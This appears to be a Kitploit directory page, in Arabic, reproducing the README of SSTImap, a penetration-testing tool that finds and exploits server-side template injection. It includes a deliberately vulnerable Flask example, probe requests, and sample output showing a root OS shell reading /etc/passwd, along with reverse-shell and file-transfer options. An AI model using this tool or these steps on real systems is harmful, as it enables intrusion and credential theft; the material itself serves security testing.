Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SSTImap — أداة كشف تلقائي لـ SSTI بواجهة تفاعلية | Kitploit
أدوات/GitHubGitHub/vladko312/sstimap
ماسحات الثغرات الأمنيةتوليد الحمولةتحليل الكودتحليل الشفرة الديناميكي (DAST)الاستغلالاستغلال تطبيقات الويبالاختبار العشوائياختبار الاختراقالقيادة والسيطرة
GitHubvladko312/sstimap

SSTImap

1.6k177180منذ 2 أشهرتمت المراجعة من قبل Kitploit

أداة كشف تلقائي لـ SSTI بواجهة تفاعلية

عرض المستودع
مشاركة
SSTImap
======

[![Version 1.4](https://img.shields.io/badge/version-1.4-green.svg?logo=github)](https://github.com/vladko312/sstimap)
[![Python 3.14](https://img.shields.io/badge/python-3.14-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3140/)
[![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/)
[![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt)
[![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/)
[![Maintenance](https://img.shields.io/maintenance/yes/2026?logo=github)](https://github.com/vladko312/sstimap)

> يعتمد هذا المشروع على [Tplmap](https://github.com/epinna/tplmap/).

SSTImap هو برنامج لاختبار الاختراق يمكنه فحص المواقع الإلكترونية بحثًا عن ثغرات حقن الأكواد (Code Injection) وحقن القوالب من جانب الخادم (Server-Side Template Injection) واستغلالها، مما يتيح الوصول إلى نظام التشغيل نفسه.

تم تطوير هذه الأداة لتُستخدم كأداة تفاعلية لاختبار الاختراق لاكتشاف واستغلال ثغرات SSTI، مما يتيح استغلالًا أكثر تقدمًا. يمكن العثور على المزيد من الحمولات (payloads) لـ SSTImap [هنا](https://github.com/vladko312/extras).

جاءت الحمولات والتقنيات من:
- جيمس كيتل [Server-Side Template Injection: RCE For The Modern Web App][5]
- أبحاث عامة أخرى [\[1\]][1] [\[2\]][2] [\[8\]][8]
- مساهمات في Tplmap [\[3\]][3] [\[4\]][4]
- بحثي الخاص [\[9\]][9]

هذه الأداة قادرة على استغلال بعض حالات الهروب من سياق الأكواد وسيناريوهات الحقن الأعمى (blind injection). كما أنها تدعم حقن الأكواد المشابهة لـ _eval()_ في Java وJavaScript وPHP وPython وRuby ومحركات القوالب العامة غير المعزولة (unsandboxed).

الاختلافات الرئيسية عن Tplmap
-----------------------

على الرغم من أن هذا البرنامج مبني على كود Tplmap، إلا أنه لا يتم توفير توافق رجعي (backwards compatibility).
- إضافة تقنيتين جديدتين لاكتشاف واستغلال SSTI
- الوضع التفاعلي (`-i`) الذي يتيح استغلالًا واكتشافًا أسهل
- حمولات تقييم بسيطة كعلامات استجابة في حالة انعكاس الحمولة
- إضافة حمولات جديدة للقوالب العامة، لاختبار جميع السياقات استخدم `--generic`
- اكتشاف حقن القوالب العامة باستخدام وحدة `Eval_generic`
- تنفيذ قشرة (_eval()_-like) بلغة الأساس (`-x`) أو أمر واحد (`-X`)
- رفع الملفات الأعمى يدعم الآن تأكيد MD5 والتحقق من وجود الملف
- إضافة حمولات جديدة لمزيد من القوالب وتحديث العديد من الحمولات الموجودة
- بنية إضافات (plugins) معيارية تسمح بتثبيت إضافات إضافية
- دعم أنواع مختلفة من بيانات POST
- إضافة الزحف (crawling) واكتشاف النماذج
- إضافة نسخ قصيرة للعديد من الوسائط
- تم تغيير بعض وسائط سطر الأوامر القديمة، راجع `-h` للمساعدة
- تم تغيير الكود لاستخدام ميزات أحدث في Python
- تمت إزالة إضافة Burp Suite مؤقتًا، لأن _Jython_ لا يدعم Python3

حقن القوالب من جانب الخادم (Server-Side Template Injection)
------------------------------

هذا مثال على موقع ويب بسيط مكتوب بلغة Python باستخدام إطار عمل [Flask][6] ومحرك القوالب [Jinja2][7]. يقوم بدمج المتغير `name` الذي يوفره المستخدم بطريقة غير آمنة، حيث يتم ربطه بسلسلة القالب قبل العرض.

```python3
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

لا تؤدي هذه الطريقة في استخدام القوالب إلى إنشاء ثغرة XSS فحسب، بل تسمح أيضًا للمهاجم بحقن كود القالب، الذي سيتم تنفيذه على الخادم، مما يؤدي إلى ثغرة SSTI.

```
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
```

يجب إدخال المدخلات التي يوفرها المستخدم بطريقة آمنة من خلال سياق العرض (rendering context):

```python3
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

الوضع المحدد مسبقًا (Predetermined mode)
------------------

SSTImap في الوضع المحدد مسبقًا مشابه جدًا لـ Tplmap. إنه قادر على اكتشاف واستغلال ثغرات SSTI في العديد من القوالب المختلفة.

بعد الاستغلال، يمكن لـ SSTImap توفير الوصول إلى تقييم الأكواد، وتنفيذ أوامر نظام التشغيل، والتلاعب بنظام الملفات.

للفحص عبر URL، يمكنك استخدام الوسيط `-u`:

```
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files
```

استخدم الخيار `--os-shell` لتشغيل محطة طرفية زائفة (pseudo-terminal) على الهدف.

```
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

للحصول على قائمة كاملة بالخيارات، استخدم الوسيط `--help`.

الوضع التفاعلي (Interactive mode)
----------------

في الوضع التفاعلي، تُستخدم الأوامر للتفاعل مع SSTImap. للدخول إلى الوضع التفاعلي، يمكنك استخدام الوسيط `-i`. سيتم استخدام جميع الوسائط الأخرى، باستثناء تلك المتعلقة بحمولات الاستغلال، كقيم أولية للإعدادات.

تُستخدم بعض الأوامر لتغيير الإعدادات بين عمليات الاختبار. لتشغيل اختبار، يجب توفير URL الهدف عبر الوسيط الأولي `-u` أو أمر `url`. بعد ذلك، يمكنك استخدام أمر `run` لفحص URL بحثًا عن SSTI.

إذا تم العثور على SSTI، يمكن استخدام الأوامر لبدء الاستغلال. يمكنك الحصول على نفس قدرات الاستغلال الموجودة في الوضع المحدد مسبقًا، ولكن يمكنك استخدام `Ctrl+C` لإيقافها دون إيقاف البرنامج.

بالمناسبة، تظل نتائج الاختبار صالحة حتى يتم تغيير URL الهدف، لذا يمكنك بسهولة التبديل بين طرق الاستغلال دون تشغيل اختبار الاكتشاف في كل مرة.

للحصول على قائمة كاملة بالأوامر التفاعلية، استخدم أمر `help` في الوضع التفاعلي.

محركات القوالب المدعومة
--------------------------

يدعم SSTImap محركات قوالب متعددة وحقن الأكواد المشابهة لـ _eval()_.

الحمولات الجديدة مرحب بها في طلبات السحب (PRs). راجع [النصائح](https://github.com/vladko312/extras#developing-plugins) لتسريع التطوير.

| Engine                                                                             | RCE | Tech | Language   | Type                                                   |
|------------------------------------------------------------------------------------|-----|------|------------|--------------------------------------------------------|
| Freemarker                                                                         | ✓   | REBT | Java       | Default                                                |
| Java generic EL injections                                                         | ✓   | REBT | Java       | Default                                                |
| OGNL (Object-Graph Navigation Language code eval)                                  | ✓   | REBT | Java       | Default                                                |
| Velocity                                                                           | ✓   | REBT | Java       | Default                                                |
| Nunjucks                                                                           | ✓   | REBT | JavaScript | Default                                                |
| Velocity.js                                                                        | ✓   | REBT | JavaScript | Default                                                |
| JavaScript (code eval)                                                             | ✓   | REBT | JavaScript | Default                                                |
| JavaScript-based generic templates                                                 | ✓   | REBT | JavaScript | Default                                                |
| Twig (>=1.41; >=2.10; >=3.0)                                                       | ✓   | REBT | PHP        | Default                                                |
| PHP (code eval)                                                                    | ✓   | REBT | PHP        | Default                                                |
| PHP-based generic templates                                                        | ✓   | REBT | PHP        | Default                                                |
| Jinja2                                                                             | ✓   | REBT | Python     | Default                                                |
| Python (code eval)                                                                 | ✓   | REBT | Python     | Default                                                |
| Python-based generic templates                                                     | ✓   | REBT | Python     | Default                                                |
| ERB                                                                                | ✓   | REBT | Ruby       | Default                                                |
| Mustache (<=1.1.2; detection only)                                                 | ×   | reb_ | Ruby       | Default                                                |
| Slim                                                                               | ✓   | REBT | Ruby       | Default                                                |
| Ruby (code eval)                                                                   | ✓   | REBT | Ruby       | Default                                                |
| Generic evaluating templates                                                       | ×   | Reb_ | *          | Default                                                |
| SpEL (Spring EL code eval)                                                         | ✓   | REBT | Java       | Generic                                                |
| doT                                                                                | ✓   | REBT | JavaScript | Generic                                                |
| EJS                                                                                | ✓   | REBT | JavaScript | Generic                                                |
| Marko                                                                              | ✓   | REBT | JavaScript | Generic                                                |
| Pug                                                                                | ✓   | REBT | JavaScript | Generic                                                |
| Smarty                                                                             | ✓   | REBT | PHP        | Generic                                                |
| Cheetah                                                                            | ✓   | REBT | Python     | Generic                                                |
| Mako                                                                               | ✓   | REBT | Python     | Generic                                                |
| Tornado                                                                            | ✓   | REBT | Python     | Generic                                                |
| Dust (<= [email protected])                                                     | ✓   | REBT | JavaScript | Legacy                                                 |
| Twig (<=1.19.0)                                                                    | ✓   | REBT | PHP        | Legacy                                                 |
| Pybars3 / Pybars4                                                                  | ✓   | REBT | Python     | Legacy                                                 |
| Templite                                                                           | ✓   | REBT | Python     | Legacy                                                 |
| SSI (Server-Side Includes injection)                                               | ✓   | R__T | SSI        | Legacy                                                 |
| Obscure evaluating syntaxes                                                        | ×   | Reb_ | *          | Legacy                                                 |
| [CVE-2025-1302](https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456) | ✓   | REBT | JavaScript | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2025-13204](https://huntr.com/bounties/1-npm-expr-eval)                       | ✓   | REBT | JavaScript | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2022-23614](https://nvd.nist.gov/vuln/detail/CVE-2022-23614)                  | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2024-6386](https://sec.stealthcopter.com/wpml-rce-via-twig-ssti/)             | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2026-46640](https://nvd.nist.gov/vuln/detail/CVE-2026-46640)                  | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |

التقنيات: (R)endered، (E)rror-based، (B)oolean error-based blind و (T)ime-based blind؛ يشير الحرف الصغير إلى تقنية مدعومة جزئيًا

يمكن العثور على المزيد من الإضافات والحمولات في مستودع [SSTImap Extra Plugins](https://github.com/vladko312/extras).

إضافة Burp Suite
-----------------

حاليًا، يعمل Burp Suite فقط مع Jython كوسيلة لتنفيذ python2. لا يتم توفير وظائف Python3.

الخطط المستقبلية
------------

إذا كنت تخطط للمساهمة بشيء كبير من هذه القائمة، أبلغني لتجنب العمل على نفس الشيء الذي أعمل عليه أنا أو مساهمون آخرون.

- [ ] إضافة المزيد من الحمولات لمحركات مختلفة
- [ ] جعل الإضافات أقل اعتمادًا على الإضافات الأساسية
- [ ] تحليل طلب HTTP خام من ملف
- [ ] وظيفة تفريغ المتغيرات
- [ ] استخراج القيم الأعمى/القنوات الجانبية
- [ ] توثيق أفضل (أو على الأقل أي توثيق)
- [ ] وسائط قصيرة كأوامر تفاعلية؟
- [ ] أوضاع API بصيغة JSONL/نص عادي لتكاملات البرمجة النصية؟
- [ ] تكامل أفضل لسكربتات Python
- [ ] دعم نوع بيانات POST متعدد الأجزاء (Multipart)
- [ ] وحدات لطلبات أكثر تخصيصًا (second order، reset، non-HTTP)
- [ ] سكربتات معالجة الحمولات
- [ ] وظيفة تكوين أفضل
- [ ] حفظ الثغرات المكتشفة
- [ ] تقارير بصيغة HTML أو صيغ أخرى
- [ ] تقييم متعدد الأسطر للغة؟
- [ ] تجنب الاعتماد على المنصة في الحمولات
- [ ] اختبار قشور متعددة في سيناريوهات RCE القائمة على exec
- [ ] تحديث حمولات NodeJS لأن process.mainModule قد يكون غير معرّف
- [x] أتمتة الزاحف/العنكبوت (بواسطة [fantesykikachu](https://github.com/fantesykikachu))
- [x] استيراد تلقائي للغات والمحركات
- [x] دعم المزيد من أنواع بيانات POST
- [x] جعل وظيفة تقييم القالب ولغة الأساس أكثر توحيدًا
- [x] وسيط لإزالة رموز الهروب؟

[1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html
[2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/
[3]: https://github.com/epinna/tplmap/issues/9
[4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
[5]: http://blog.portswigger.net/2015/08/server-side-template-injection.html
[6]: http://flask.pocoo.org/
[7]: http://jinja.pocoo.org/
[8]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
[9]: https://github.com/vladko312/Research_Successful_Errors
تنزيل الأداة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 مجموعة أدوات OSINT المثالية: رسم بياني للتحقيق، وتقييم الثقة، وعائلات الأسماء المستعارة، وخريطة، وخط زمني، وتقارير. 49 وحدة، وأكثر من 400 موقع، دون الحاجة إلى مفاتيح API.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    مجموعة أدوات الفريق الأحمر في المتصفح مع 102 أداة دون اتصال للاستطلاع، وتوليد الحمولات، وهجمات بيانات الاعتماد، والتشفير، والترميز، وإعداد تقارير المهام.

    366
  • 4

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    منصة CSIRT تستقبل تقارير Shadowserver في MongoDB وتعيد عرضها كخرائط تفاعلية وتحليلات ونتائج وإرشادات ولوحات معلومات تنفيذية.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    نظام العمل للأمن السيبراني الأصلي بالذكاء الاصطناعي — حيث تتحول النية إلى تنفيذ محكوم، وتصبح الأدلة ذاكرة تشغيلية، وكل عملية تحسن التي تليها.

    287

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →